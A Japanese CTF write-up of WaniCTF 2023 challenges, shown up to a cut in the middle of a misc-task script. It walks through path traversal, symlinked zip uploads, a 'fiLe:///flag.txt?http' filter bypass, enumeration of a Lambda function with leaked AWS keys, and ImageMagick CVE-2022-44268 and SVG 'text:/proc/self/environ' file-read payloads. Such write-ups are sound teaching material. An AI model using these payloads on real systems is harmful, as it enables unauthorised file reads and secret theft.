st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

WaniCTF 2023 writeup

5/4 - 5/6という日程で開催された。チームℹ️❤️🐏*1で参加して全完し1位🎉 今回出題された問題の中だと、AWSのpentest問であるLambdaと、ただImageMagickの既知の脆弱性を使うだけでなく、Webアプリケーションのソースコードを読んで、その仕様と既知の脆弱性をいかに組み合わせて攻撃するかを考える必要のある問題であったcertified2が特に面白く感じた。

ほかのメンバーのwriteup:

ptr-yudai.hatenablog.com


[Web 119] IndexedDB (608 solves)

このページのどこかにフラグが隠されているようです。ブラウザの開発者ツールを使って探してみましょう。

It appears that the flag has been hidden somewhere on this page. Let's use the browser's developer tools to find it.

https://indexeddb-web.wanictf.org

Writer : hi120ki

与えられたURLにアクセスすると、次のようなメッセージが表示された。

このページにフラグが隠されているようだけれども、HTMLは次のような感じでフラグはない。

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8" />
  </head>

  <body>
    <h1>Flag is already hidden in this page.</h1>
  </body>
</html>

問題名のIndexedDBになにか隠されていないか確認する。ChromeでDevToolsを開き、Application → Storage → IndexedDBを確認すると、なんか生えている。

これを確認するとフラグが得られた。

FLAG{y0u_c4n_u3e_db_1n_br0wser}

DevToolsのNetworkをよく見ると、/ から /1ndex.html にリダイレクトされていた。/ の内容は以下のような感じだった。

$ curl https://indexeddb-web.wanictf.org/
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8" />
  </head>

  <body>
  </body>
  <script>
    var connection;

    window.onload = function () {
      var openRequest = indexedDB.open("testDB");

      openRequest.onupgradeneeded = function () {
        connection = openRequest.result;
        var objectStore = connection.createObjectStore("testObjectStore", {
          keyPath: "name",
        });
        objectStore.put({ name: "FLAG{y0u_c4n_u3e_db_1n_br0wser}" });
      };

      openRequest.onsuccess = function () {
        connection = openRequest.result;
      };
      window.location = "1ndex.html";
    };
  </script>
</html>

[Web 144] Extract Service 1 (245 solves)

ドキュメントファイルの要約サービスをリリースしました!配布ファイルの sample フォルダにお試し用のドキュメントファイルがあるのでぜひ使ってください。

サーバーの /flag ファイルには秘密の情報が書いてあるけど大丈夫だよね...? どんなHTTPリクエストが送信されるのか見てみよう!

We have released a summary service for document files! Please feel free to use the sample document file in the "sample" folder of the distribution file for trial purposes.

The secret information is written in the /flag file on the server, but it should be safe, right...? Let's see what kind of HTTP request is sent!

https://extract1-web.wanictf.org

Writer : hi120ki

添付ファイル: web-extract1.zip

なるほど、/flag を読めばよいらしい。与えられたURLにアクセスすると、次のようなフォームが表示された。.docx, .xlsx, .pptx といったファイル形式を選択した上でファイルをアップロードすると、それに含まれるテキストを抽出してくれるらしい。

サンプルとして添付されている sample.docx は次のようなドキュメント*2だけれども、

これをこのWebアプリケーションに投げると、たしかにテキストの部分だけ抽出してくれているのがわかる。

どうやってこれを実現しているのだろう。ソースコードが添付されているので確認していく。POST / に対応する処理は次のようになっている。UUIDv4を生成した上で、アップロードされたファイルを /tmp/(ファイルのID).zip に保存し、ExtractFile でZIPとして展開、ExtractContent で展開されたファイルからテキストを抽出している。

アップロードしたファイルは file、ファイル形式に対応する文字列は target というキーで入っている。target は実はファイルの拡張子ではなく、word/document.xmlxl/sharedStrings.xml といったような感じで、テキストを抽出する対象のパスが入っている。

   r.POST("/", func(c *gin.Context) {
        baseDir := filepath.Join("/tmp", uuid.NewString()) // ex. /tmp/02050a65-8ae8-4b50-87ea-87b3483aab1e
        zipPath := baseDir + ".zip"                        // ex. /tmp/02050a65-8ae8-4b50-87ea-87b3483aab1e.zip

        file, err := c.FormFile("file")
        if err != nil {
            c.HTML(http.StatusOK, "index.html", gin.H{
                "result": "Error : " + err.Error(),
            })
            return
        }

        extractTarget := c.PostForm("target")
        if extractTarget == "" {
            c.HTML(http.StatusOK, "index.html", gin.H{
                "result": "Error : target is required",
            })
            return
        }
// …
        if err := c.SaveUploadedFile(file, zipPath); err != nil {
            c.HTML(http.StatusOK, "index.html", gin.H{
                "result": "Error : " + err.Error(),
            })
            return
        }

        if err := ExtractFile(zipPath, baseDir); err != nil {
            c.HTML(http.StatusOK, "index.html", gin.H{
                "result": "Error : " + err.Error(),
            })
            return
        }

        result, err := ExtractContent(baseDir, extractTarget)
        if err != nil {
            c.HTML(http.StatusOK, "index.html", gin.H{
                "result": "Error : " + err.Error(),
            })
            return
        }
// …
    })

ExtractFile は次のような感じ。unzip コマンドで展開しているらしい。zipPathbaseDir もサーバ側で生成したパスで、ユーザの入力した文字列が入る余地はないので、OSコマンドインジェクションはできそうにない。

func ExtractFile(zipPath, baseDir string) error {
    if err := exec.Command("unzip", zipPath, "-d", baseDir).Run(); err != nil {
        return err
    }
    return nil
}

ExtractContent は次のような感じ。正規表現によって <> で囲まれた文字列や改行文字を削除しているだけで、XMLとして読み込んでいるわけではないので、XXEでゴニョゴニョというのはできそうにない。ここで、第2引数である extractTarget はユーザ入力由来だけれども、ここまでで何かチェックがされているわけではなかった。Path Traversalができそう。

func ExtractContent(baseDir, extractTarget string) (string, error) {
    raw, err := os.ReadFile(filepath.Join(baseDir, extractTarget))
    if err != nil {
        return "", err
    }

    removeXmlTag := regexp.MustCompile("<.*?>")
    resultXmlTagRemoved := removeXmlTag.ReplaceAllString(string(raw), "")
    removeNewLine := regexp.MustCompile(`\r?\n`)
    resultNewLineRemoved := removeNewLine.ReplaceAllString(resultXmlTagRemoved, "")
    return resultNewLineRemoved, nil
}

DevToolsでアップロードページの target の値を ../../../../../../../flag に書き換える。

このまま適当なファイルをアップロードすると、フラグが得られた。

FLAG{ex7r4c7_1s_br0k3n_by_b4d_p4r4m3t3rs}

[Web 191] Extract Service 2 (103 solves)

Extract Service 1は脆弱性があったみたいなので修正しました! 配布ファイルの sample フォルダにお試し用のドキュメントファイルがあるのでぜひ使ってください。

サーバーの /flag ファイルには秘密の情報が書いてあるけど大丈夫だよね...?

We have fixed Extract Service 1 as it had vulnerabilities! Please feel free to use the sample document file in the "sample" folder of the distribution file for trial purposes.

The secret information is written in the /flag file on the server, but it should be safe, right...?

https://extract2-web.wanictf.org

Writer : hi120ki

添付ファイル: web-extract2.zip

Extract Service 1に修正が加えられたらしい。diff で変わった箇所を確認すると、target のPath Traversalが修正されていることがわかる。テキストの抽出対象であるパスを指定するのではなく、拡張子を指定するようになっている。ここ以外には変更はないので、ほかの脆弱性を探す必要がありそう。

$ diff -u ../../../Extract\ Service\ 1/web-extract1/web-extract1/main.go main.go
--- "../../../Extract Service 1/web-extract1/web-extract1/main.go"      2023-05-04 15:15:30.658844600 +0900
+++ main.go     2023-05-04 15:33:23.707458300 +0900
@@ -35,13 +35,27 @@
                        return
                }

-               extractTarget := c.PostForm("target")
-               if extractTarget == "" {
+               // patched
+               extractTarget := ""
+               targetParam := c.PostForm("target")
+               if targetParam == "" {
                        c.HTML(http.StatusOK, "index.html", gin.H{
                                "result": "Error : target is required",
                        })
                        return
                }
+               if targetParam == "docx" {
+                       extractTarget = "word/document.xml"
+               } else if targetParam == "xlsx" {
+                       extractTarget = "xl/sharedStrings.xml"
+               } else if targetParam == "pptx" {
+                       extractTarget = "ppt/slides/slide1.xml"
+               } else {
+                       c.HTML(http.StatusOK, "index.html", gin.H{
+                               "result": "Error : target is invalid",
+                       })
+                       return
+               }

                if err := os.MkdirAll(baseDir, 0777); err != nil {
                        c.HTML(http.StatusOK, "index.html", gin.H{

os.ReadFileシンボリックリンクを辿ってくれるので、たとえば docx ファイルの word/document.xml/flag を指すシンボリックリンクにできないか。zip コマンドは -y オプションを付加することでシンボリックリンクを保持したままZIPを作成できる。

       -y
       --symlinks
              For UNIX and VMS (V8.3 and later), store symbolic links as such in the zip archive, instead of compressing and storing the file referred to by the link.
              This can avoid multiple copies of files being included in the archive as zip recurses the directory trees and accesses files directly and by links.

サンプルの docx を展開した上で word/document.xml を削除し、ln -s /flag word/document.xmlシンボリックリンクを仕込む。zip -ry a.docx . みたいな感じで怪しい docx ファイルを作る。これをアップロードするとフラグが得られた。

FLAG{4x7ract_i3_br0k3n_by_3ymb01ic_1ink_fi1e}

[Web 157] 64bps (182 solves)

dd if=/dev/random of=2gb.txt bs=1M count=2048
cat flag.txt >> 2gb.txt
rm flag.txt

↓↓↓

https://64bps-web.wanictf.org/2gb.txt

Writer : ciffelia

添付ファイル: web-64bps.zip

2GBのテキストファイルの末尾にフラグが書き込まれているらしい。添付ファイルには問題サーバの設定ファイルである nginx.conf が含まれており、これは次のような内容になっている。limit_rate 8 という設定から、問題名の通りかなり厳しい帯域制限があることがわかる。普通にダウンロードしようとすると、何年もかかってしまいそう。

user  nginx;
worker_processes  auto;

error_log  /var/log/nginx/error.log notice;
pid        /var/run/nginx.pid;


events {
    worker_connections  1024;
}


http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    keepalive_timeout  65;
    gzip               off;
    limit_rate         8; # 8 bytes/s = 64 bps

    server {
        listen       80;
        listen  [::]:80;
        server_name  localhost;

        location / {
            root   /usr/share/nginx/html;
            index  index.html index.htm;
        }
    }
}

2gb.txt の最後のフラグ部分だけを返させるようにはできないか。HTTPには Range ヘッダというそのためのヘッダがある。これを使うとフラグ部分だけが得られた。

$ curl -i https://64bps-web.wanictf.org/2gb.txt -r 2147483648-2147483748
HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 04 May 2023 07:01:26 GMT
Content-Type: text/plain
Content-Length: 49
Connection: keep-alive
Last-Modified: Mon, 01 May 2023 04:40:51 GMT
ETag: "644f42d3-80000031"
Content-Range: bytes 2147483648-2147483696/2147483697

FLAG{m@ke_use_0f_r@n0e_reques7s_f0r_l@r9e_f1les}
FLAG{m@ke_use_0f_r@n0e_reques7s_f0r_l@r9e_f1les}

[Web 200] screenshot (91 solves)

好きなウェブサイトのスクリーンショットを撮影してくれるアプリです。

An application that takes screenshots of your favorite websites.

https://screenshot-web.wanictf.org

Writer : ciffelia

添付ファイル: web-screenshot.zip

与えられたURLにアクセスすると、次のようなフォームが表示される。適当なURLを入力すると、たしかにそれにアクセスした様子のスクリーンショットが返ってきた。

添付されているソースコードには次のような処理がある。Playwrightを使ってChromiumで指定されたURLにアクセスし、そのスクリーンショットを撮っている。file がURLに含まれておらず、かつ http がURLに含まれている必要があるというような制約によって、Webページにしかアクセスできないようにしている。

    const context = await browser.newContext();
    context.setDefaultTimeout(5000);

    try {
      if (!req.query.url.includes("http") || req.query.url.includes("file")) {
        res.status(400).send("Bad Request");
        return;
      }

      const page = await context.newPage();

      const params = new URLSearchParams(req.url.slice(req.url.indexOf("?")));
      await page.goto(params.get("url"));

      const buf = await page.screenshot();

      res.header("Content-Type", "image/png").send(buf);
    } catch (err) {
      console.log("[Error]", req.method, req.url, err);
      res.status(500).send("Internal Error");
    } finally {
      await context.close();
    }

というのも、フラグはローカルのファイルとして問題サーバに保存されており、file:///flag.txt のようなURLを通してしまうとそれだけでフラグが手に入れられてしまうから。

COPY ./flag.txt /flag.txt

ただ、事前にクエリパラメータから持ってきたURLを toLowerCase で小文字化しているわけではないので、filE:// のように一部を大文字にするだけでフィルターをバイパスできてしまう。また、(new URL(url)).protocol のようにちゃんとURLとしてパースして、そのプロトコルをチェックしているというわけでもないので、filE:///etc/passwd?http のようにクエリパラメータなどに http が含まれていたとしても、サーバはこれを通してしまう。これらを組み合わせて、fiLe:///flag.txt?http を入力するとフラグが得られた。

フラグを見てすいません…という気持ちになる。

FLAG{beware_of_parameter_type_confusion!}

[Web 245] Lambda (54 solves)

以下のサイトはユーザ名とパスワードが正しいときフラグを返します。今あなたはこのサイトの管理者のAWSアカウントのログイン情報を極秘に入手しました。このログインを突破できますか。

The following site returns a flag when you input correct username and password. Now you have the confidential login information for the AWS account of the administrator of this site. Please get through this authentication.

https://lambda-web.wanictf.org

Writer : kaki005

添付ファイル: web-lambda.zip

与えられたURLにアクセスすると、次のようにシンプルなログインフォームが表示される。適当な認証情報を入力しても、当然ながらincorrectと言われる。

このフォーム周りの処理は次のような感じ。Amazon API Gatewayで作ったAPIを叩いている。

window.onload = (event) => {
  const btn = document.querySelector("#submitBtn");

  btn.addEventListener("click", async () => {
    console.log("aaa");
    const password = document.querySelector(".password");
    const username = document.querySelector(".username");
    const result = document.querySelector(".result");
    console.log(password);
    console.log(username);
    const url = new URL(
      "https://k0gh2dp2jg.execute-api.ap-northeast-1.amazonaws.com/test/"
    );
    url.searchParams.append("PassWord", password.value);
    url.searchParams.append("UserName", username.value);
    const response = await fetch(url.href, { method: "get" });
    Promise.resolve(response.text()).then(
      (value) => {
        console.log(value);
        result.innerText = value;
      },
      (value) => {
        console.error(value);
      }
    );
  });
};

添付ファイルはソースコードではなく、AWSのアクセスキー、シークレットキー、それからリージョン名が書かれたCSVだった。このアクセスキーで何ができるか確認する必要がある。API Gatewayで何ができるか確認する。aws configure でアクセスキーなどの設定をしてから、AWS CLIのドキュメントを参考に色々試す。問題名を見るにAWS Lambdaも使われているので、最終的にはどんなLambda関数が走っているかを確認したい。

REST API IDは前述のJavaScriptコードから k0gh2dp2jg とわかっているので、これを使いつつまず aws apigateway get-resources を叩くと、/ のリソースIDが hd6co6xcng であるとわかる。

$ aws apigateway get-resources --rest-api-id k0gh2dp2jg
{
    "items": [
        {
            "id": "hd6co6xcng",
            "path": "/",
            "resourceMethods": {
                "GET": {}
            }
        }
    ]
}

得られたリソースIDから aws apigateway get-integration で設定を確認する。使われているLambda関数のARNが得られていそう。

$ aws apigateway get-integration --rest-api-id k0gh2dp2jg --resource-id hd6co6xcng --http-method GET
{
    "type": "AWS_PROXY",
    "httpMethod": "POST",
    "uri": "arn:aws:apigateway:ap-northeast-1:lambda:path/2015-03-31/functions/arn:aws:lambda:ap-northeast-1:839865256996:function:wani_function/invocations",
    "passthroughBehavior": "WHEN_NO_MATCH",
    "contentHandling": "CONVERT_TO_TEXT",
    "timeoutInMillis": 29000,
    "cacheNamespace": "hd6co6xcng",
    "cacheKeyParameters": [],
    "integrationResponses": {
        "200": {
            "statusCode": "200",
            "responseTemplates": {}
        }
    }
}

得られたARNを使って aws lambda get-function でLambda関数の情報を取得する。.Code.Location にS3の署名付きURLが含まれているので、これにアクセスするとLambda関数のパッケージがZIPでダウンロードできた。

$ aws lambda get-function --function-name arn:aws:lambda:ap-northeast-1:839865256996:function:wani_function
{
    "Configuration": {
        "FunctionName": "wani_function",
        "FunctionArn": "arn:aws:lambda:ap-northeast-1:839865256996:function:wani_function",
        "Runtime": "dotnet6",
        "Role": "arn:aws:iam::839865256996:role/service-role/wani_function-role-zhw0ck9t",
        "Handler": "WaniCTF_Lambda::WaniCTF_Lambda.Function::LoginWani",
        "CodeSize": 960588,
        "Description": "",
        "Timeout": 15,
        "MemorySize": 512,
        "LastModified": "2023-05-01T14:21:15.000+0000",
        "CodeSha256": "Gfkg4Q7OrMA+DPsFg6zR+gZXezeG8KEMe/8w8BLmRSA=",
        "Version": "$LATEST",
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "0a4cde2c-6dbb-4240-9332-2f5611256deb",
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip",
        "Architectures": [
            "x86_64"
        ],
        "EphemeralStorage": {
            "Size": 512
        }
    },
    "Code": {
        "RepositoryType": "S3",
        "Location": "(省略)"
    }
}

これを展開すると、次のようなファイルが出てくる。.NETだ。

$ ls
Amazon.Lambda.APIGatewayEvents.dll    Amazon.Lambda.Serialization.SystemTextJson.dll  WaniCTF_Lambda.dll
Amazon.Lambda.Core.dll                Newtonsoft.Json.dll                             WaniCTF_Lambda.runtimeconfig.json
Amazon.Lambda.Serialization.Json.dll  WaniCTF_Lambda.deps.json

.NETの解析といえばdnSpyだ。投げてみると、C#だと次のような感じに逆コンパイルされた。ユーザ名とパスワードのほか、フラグまで含まれている。

namespace WaniCTF_Lambda
{
    // Token: 0x02000005 RID: 5
    public class Function
    {
        // Token: 0x06000005 RID: 5 RVA: 0x00010B88 File Offset: 0x00000B88
        [NullableContext(1)]
        public APIGatewayProxyResponse LoginWani(APIGatewayProxyRequest input, ILambdaContext context)
        {
            IDictionary<string, string> queryStringParameters = input.QueryStringParameters;
            Dictionary<string, string> dictionary = new Dictionary<string, string>();
            dictionary["Access-Control-Allow-Origin"] = "https://lambda-web.wanictf.org";
            dictionary["Access-Control-Allow-Methods"] = "GET OPTIONS";
            Dictionary<string, string> headers = dictionary;
            if (queryStringParameters == null)
            {
                return new APIGatewayProxyResponse
                {
                    StatusCode = 500,
                    Body = "QueryStringParameters is null",
                    Headers = headers
                };
            }
            if (!queryStringParameters.ContainsKey("UserName") || !queryStringParameters.ContainsKey("PassWord"))
            {
                return new APIGatewayProxyResponse
                {
                    StatusCode = 400,
                    Body = "ユーザー名とパスワードを指定してください",
                    Headers = headers
                };
            }
            string text = queryStringParameters["UserName"];
            string text2 = queryStringParameters["PassWord"];
            if (text == "LambdaWaniwani" && text2 == "aflkajflalkalbnjlsrkaerl")
            {
                return new APIGatewayProxyResponse
                {
                    StatusCode = 200,
                    Body = "FLAG{l4mabd4_1s_s3rverl3ss_s3rv1c3}",
                    Headers = headers
                };
            }
            return new APIGatewayProxyResponse
            {
                StatusCode = 200,
                Body = "Password or UserName are incorrect!!! :  " + text + ": " + text2,
                Headers = headers
            };
        }
    }
}
FLAG{l4mabd4_1s_s3rverl3ss_s3rv1c3}

[Web 226] certified1 (66 solves)

最近流行りの言語を使った安全なウェブアプリが完成しました!

We have released a secure web application using a state-of-the-art language!

https://certified-web.wanictf.org

この問題にはフラグが2つ存在します。ファイル /flag_A にあるフラグをcertified1に、環境変数 FLAG_B にあるフラグをcertified2に提出してください。


There are two flags in this problem. Please submit the flag in file /flag_A to certified1 and one in the environment variable FLAG_B to certified2.

Note: "承認, ワニ博士" means "Approved, Dr. Wani" in Japanese.

Writer : ciffelia

添付ファイル: web-certified1.zip

与えられたURLにアクセスすると、次のようなファイルのアップロードフォームが表示される。

画像をアップロードすると、次のような加工された画像が返ってきた。なるほど、承認欲求が満たされる。

このWebアプリケーションはRustで書かれている。POST /create というフォームのアップロード先に対応する処理は次の通り。まず作業用のディレクトリを /data/(UUIDv4) に作成する。そこにユーザが投げたファイルを、元のファイル名で保存する。そして process_image で加工した画像を返している。

// POST /create
#[debug_handler]
pub async fn handle_create(mut multipart: extract::Multipart) -> HandlerResult {
    let id = Uuid::new_v4();

    let current_dir = PathBuf::from(format!("./data/{id}"));
    fs::create_dir(&current_dir)
        .await
        .context("Failed to create working directory")?;

    let (file_name, file_data) = match extract_file(&mut multipart).await {
        Some(file) => file,
        None => return Ok((StatusCode::BAD_REQUEST, "Invalid multipart data").into_response()),
    };
    fs::write(
        current_dir.join(file_name.file_name().unwrap_or("".as_ref())),
        file_data,
    )
    .await
    .context("Failed to save uploaded file")?;

    process_image(&current_dir, &file_name)
        .await
        .context("Failed to process image")?;

    Ok((StatusCode::SEE_OTHER, [("location", format!("/view/{id}"))]).into_response())
}

画像の加工部分である process_image は次のようなコードで実現されている。作業用のディレクトリにはすでに元のファイル名でユーザがアップロードしたファイルが配置されているわけだけれども、それを同じ内容で input というファイルにコピーする。テンプレートである「承認」の画像も overlay.png としてコピーしてくる。そして、あとはImageMagickに丸投げして、ユーザがアップロードした画像の右下に overlay.png を乗っけている。出力先は output.png

use anyhow::{bail, Context, Result};
use std::path::Path;
use std::process::Stdio;
use tokio::fs;
use tokio::process::Command;

pub async fn process_image(working_directory: &Path, input_filename: &Path) -> Result<()> {
    fs::copy(
        working_directory.join(input_filename),
        working_directory.join("input"),
    )
    .await
    .context("Failed to prepare input")?;

    fs::write(
        working_directory.join("overlay.png"),
        include_bytes!("../assets/hanko.png"),
    )
    .await
    .context("Failed to prepare overlay")?;

    let child = Command::new("sh")
        .args([
            "-c",
            "timeout --signal=KILL 5s magick ./input -resize 640x480 -compose over -gravity southeast ./overlay.png -composite ./output.png",
        ])
        .current_dir(working_directory)
        .stdin(Stdio::null())
        .stdout(Stdio::null())
        .stderr(Stdio::piped())
        .spawn()
        .context("Failed to spawn")?;

    let out = child
        .wait_with_output()
        .await
        .context("Failed to read output")?;

    if !out.status.success() {
        bail!(
            "image processing failed on {}:\n{}",
            working_directory.display(),
            std::str::from_utf8(&out.stderr)?
        );
    }

    Ok(())
}

ImageMagickと聞くとCVE-2022-44268が思い出される。これは、PNGファイルの tEXt チャンクに profile というキーワードで /etc/passwd のようなファイルパスが含まれていると、そのファイルの中身を出力されるPNGtEXt チャンクに埋め込んでしまうという脆弱性だ。

Dockerfile には次のような記述があり、使われているImageMagickのバージョンは7.1.0-51であることがわかる。CVE-2022-44268の影響を受けるバージョンだ。

ARG MAGICK_URL="https://github.com/ImageMagick/ImageMagick/releases/download/7.1.0-51/ImageMagick--gcc-x86_64.AppImage"
RUN curl --location --fail -o /usr/local/bin/magick $MAGICK_URL && \
    chmod 755 /usr/local/bin/magick

CVE-2022-44268を試す。tEXt チャンクに profile というキーワードで /flag_A というパスを仕込む。これで pngout.png に細工したPNGが出力される。

$ pngcrush -text a "profile" "/flag_A" shika.png
bc705feec.png
  Recompressing IDAT chunks in shika.png to pngout.png
   Total length of data found in critical chunks            =    294301
   Best pngcrush method        =   5 (ws 15 fm 1 zl 9 zs 1) =    297637
CPU time decode 0.031679, encode 0.418298, other 0.004685, total 0.456159 sec

これをアップロードし、出力されたPNGを保存する。identifytEXt チャンクを確認すると、/flag_A の中身が埋め込まれていた。

$ identify -verbose 5b80f3d9-593c-4e53-b3f7-552ed68c8c54.png
…
    Raw profile type:

      42
464c41477b3768655f736563306e645f663161395f31735f77343174316e395f6630725f
793075217d0a

    signature: 27c4fe80800f47f34703ee96bca8d8c57f97e77888838a451f47d597b0ff81e4
…

CyberChefでデコードするとフラグが得られた。

FLAG{7he_sec0nd_f1a9_1s_w41t1n9_f0r_y0u!}

[Web 331] certified2 (23 solves)

certified1をご覧ください。

Please see certified1.

Writer : ciffelia

今度は /flag_A というファイルでなく、環境変数flag_B を取得すればよさそう。certified1と同じように tEXt チャンクで profile というキーワードに /proc/self/environ を仕込んでみたものの、動かない

RCEやOSコマンドインジェクションではないかと疑うが、少なくともWebアプリケーション側については、前者はPHPなどではないので適当にファイルを書き込んで /evil.php にアクセスすればオッケー! というわけにはいかないし、後者はImageMagickを使った画像の加工処理において、ファイル名がハードコードされておりユーザ入力の入る余地はないので難しい。となると、ImageMagick自体の脆弱性(ただし、使われているバージョンではほかに悪用可能な脆弱性はないように思える)や仕様を使った攻撃か、それともWebアプリケーションの仕様を組み合わせた攻撃ではないかを考える。

    let child = Command::new("sh")
        .args([
            "-c",
            "timeout --signal=KILL 5s magick ./input -resize 640x480 -compose over -gravity southeast ./overlay.png -composite ./output.png",
        ])

ここでSVGと text: を使ったファイルの読み出しを思い出す。次のようなSVGを用意する。

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="500" height="500">
<image xlink:href="text:/proc/self/environ" height="500" width="500"/>
</svg>

これをアップロードしてみたものの、フォントのHelveticaが見つからないと怒られてしまった。<font> とかでのフォントの定義やHelvetica以外のフォントの指定ができたりしない? と思ったものの、やはりダメ。html:odt: も試すが、それぞれ html2psLibreOfficeが存在しないのでダメ。

Failed to process image

Caused by:
    image processing failed on ./data/b03dd324-ab17-4a5b-9a0c-5d00908b2571:
    magick: unable to read font `helvetica' @ error/annotate.c/RenderFreetype/1616.
    magick: unable to get type metrics `/proc/self/environ' @ error/txt.c/ReadTEXTImage/274.
    magick: non-conforming drawing primitive definition `image' @ error/draw.c/RenderMVGContent/4504.

GET /view/data/(UUID)/output.png を返す。もし cp /proc/self/environ /data/(UUID)/output.png のように output.png/proc/self/environ の内容に書き換えることができれば、/view/(UUID) にアクセスすることで環境変数が得られるのではないかと考えた。MSLを使ったファイル書き込みの手法があるので試してみたものの、Document is empty だの SAX error だのよくわからんエラーが出てダメ。

// GET /view
#[debug_handler]
pub async fn handle_view(
    extract::Path(id): extract::Path<Uuid>,
) -> HandlerResult<impl IntoResponse> {
    let data = fs::read(format!("./data/{id}/output.png"))
        .await
        .context("Failed to read file")?;

    Ok(([("content-type", "image/png")], data))
}

う~~~~んと考えていたところで、作業用のディレクトリに input としてユーザのアップロードしたファイルがコピーされることを思い出す。process_image 中のコピー処理は以下のようになっているが、ここで参照されている input_filename がどこから来たか確認する。

    fs::copy(
        working_directory.join(input_filename),
        working_directory.join("input"),
    )

multipart/form-data で投げられたファイルの内容とファイル名は、次の extract_file という関数で取り出されている。ファイル名は Content-Disposition ヘッダから取ってきたもので、これ以降 process_image で参照されるまでにbasename的なことがされている(ファイル名だけの切り出しをしている)わけではなさそう。Path Traversalができるのではないか。

// Extract file name and file data from multipart form data
async fn extract_file(multipart: &mut extract::Multipart) -> Option<(PathBuf, Bytes)> {
    while let Ok(Some(field)) = multipart.next_field().await {
        if field.name() == Some("file") {
            let file_name = match field.file_name() {
                Some(file_name) => PathBuf::from(file_name),
                None => return None,
            };
            let file_data = match field.bytes().await {
                Ok(bytes) => bytes,
                Err(_) => return None,
            };

            return Some((file_name, file_data));
        }
    }

    None
}

Burp Suiteなどを使いつつ、次のように Content-Disposition ヘッダ中のファイル名で /proc/self/environ を参照しそうな感じでPath Traversalを試みる。

このままアップロードすると、/proc/self/environ の内容はそのままでは画像として解釈できないものなので、当然ながらImageMagickによる画像の加工は失敗するが、作業用のディレクトリの名前はわかる。この例でいうと /data/adf5b0a6-c932-4ae1-9a0e-1f51cd37358e/input/proc/self/environ の内容がコピーされているはず。そして、画像の加工に失敗した場合でも作業用のディレクトリを削除するような処理はないので、そのまま残って後から参照できるようになっているはず。

CVE-2022-44268でこの /data/adf5b0a6-c932-4ae1-9a0e-1f51cd37358e/input の内容を取得するようなPNGファイルを作成し、ImageMagickに加工させる。出力されたPNGには、次のように環境変数が含まれていた。

    Raw profile type:

     268
504154483d2f7573722f6c6f63616c2f7362696e3a2f7573722f6c6f63616c2f62696e3a
2f7573722f7362696e3a2f7573722f62696e3a2f7362696e3a2f62696e00484f53544e41
4d453d30663030353337636565313700415050494d4147455f455854524143545f414e44
5f52554e3d3100464c41475f423d464c41477b6e30775f376861745f7930755f68347665
5f3768655f736563306e645f663161395f7930755f3472655f615f636572743166316564
5f68346e6b305f6d40737465727d00525553545f4c4f473d68616e6b6f2c746f7765725f
687474703d54524143452c494e464f004c495354454e5f414444523d302e302e302e303a
3330303000484f4d453d2f726f6f7400

    signature: c984ee3cffb73bfe6b045d9af5c2cf26f72a8731188e5ac7f911d2ef570c9e6c

CyberChefに投げるとフラグが得られ、CHM(Certified Hanko Master)の称号を得た。

FLAG{n0w_7hat_y0u_h4ve_7he_sec0nd_f1a9_y0u_4re_a_cert1f1ed_h4nk0_m@ster}

[Reversing 213] web_assembly (77 solves)

ブラウザ上でC++を動かすことに成功しました!! 正しいユーザ名とパスワードを入力するとフラグがゲットできます。

I successfully ran C++ in the browser!! Enter the correct username and password to get the flag.

https://wasm-rev.wanictf.org

注意: 作問におけるミスにより、フラグは Flag{ から始まり } で終わります。ご迷惑をおかけして申し訳ありません。

Note: This flag starts Flag{ and ends }. Sorry for the inconvenience.

Writer : kaki005

与えられたURLにアクセスすると、ユーザ名とパスワードを聞かれる。

適当な認証情報を入力すると Incorrect! と言われる。それはそれとして、Emscriptenだ。

DevToolsでSourcesから index.wasm の逆アセンブル結果を見る。data セクションに 3r!} とかなんかフラグっぽい文字列が含まれている。

認証情報っぽい文字列もある。

これらを入力すると、フラグが得られた(すいません…)。

Flag{Y0u_C4n_3x3cut3_Cpp_0n_Br0us3r!}

[Misc 154] shuffle_base64 (194 solves)

シャッフルしてbase64エンコード確認!ヨシ!

FLAG shuffled, Base64-encoded. Wow!

FLAG format : FLAG{DUMMY_FLAG}
SHA256: 19B0E576B3457EDFD86BE9087B5880B6D6FAC8C40EBD3D1F57CA86130B230222

Writer : Gureisya

添付ファイル: mis-shuffle-base64.zip

次のようなPythonスクリプトが与えられる。

import random
import itertools
import base64
import hashlib


def make_shuffle_list(m):
    num = []
    for i in range(len(m) // 3):
        num.append(i)

    return list(itertools.permutations(num, len(m) // 3))


def make_str_blocks(m):
    tmp = ""
    ret = []
    for i in range(len(m)):
        tmp += m[i]
        if i % 3 == 2:
            ret.append(tmp)
            tmp = ""
    return ret


def pad(m):
    ret = ""
    for i in range(len(m)):
        ret += m[i]
        if i % 2:
            ret += chr(random.randrange(33, 126))

    while len(ret) % 3:
        ret += chr(random.randrange(33, 126))
    return ret


flag = "FAKE{DUMMY_FLAG}"
# FLAG check
# assert (hashlib.sha256(flag.encode()).hexdigest() == "19b0e576b3457edfd86be9087b5880b6d6fac8c40ebd3d1f57ca86130b230222")

padflag = pad(flag)
shuffle_list = make_shuffle_list(padflag)
str_blocks = make_str_blocks(padflag)
order = random.randrange(0, len(shuffle_list) - 1)
cipher = ""
for i in shuffle_list[order]:
    cipher += str_blocks[i]
cipher = base64.b64encode(cipher.encode())

print(f"cipher = {cipher}")

まずパーツを何番目に配置するか、みたいな感じのタプルのリストを作る(make_shuffle_list)。入力された文字列を2文字ごとに区切った後に、各パーツに1文字もしくは2文字のランダムな文字をパディングとして付加している(make_str_blocks)。make_shuffle_list で生成したリストからランダムに要素を取ってきて、それにしたがってシャッフル、結合してBase64エンコードする。

shuffle_list は固定だし、フラグのSHA-256ハッシュ値も与えられているので、ブルートフォースすればよい。さっきのコードの後ろに次のような処理を追加する。

import re
cipher = b'fWQobGVxRkxUZmZ8NjQsaHUhe3NAQUch'
s = base64.b64decode(cipher).decode()
s = [x[:-1] for x in re.findall(r'.{3}', s)]

def yattemiru(order):
    res = ''
    for i in range(len(s)):
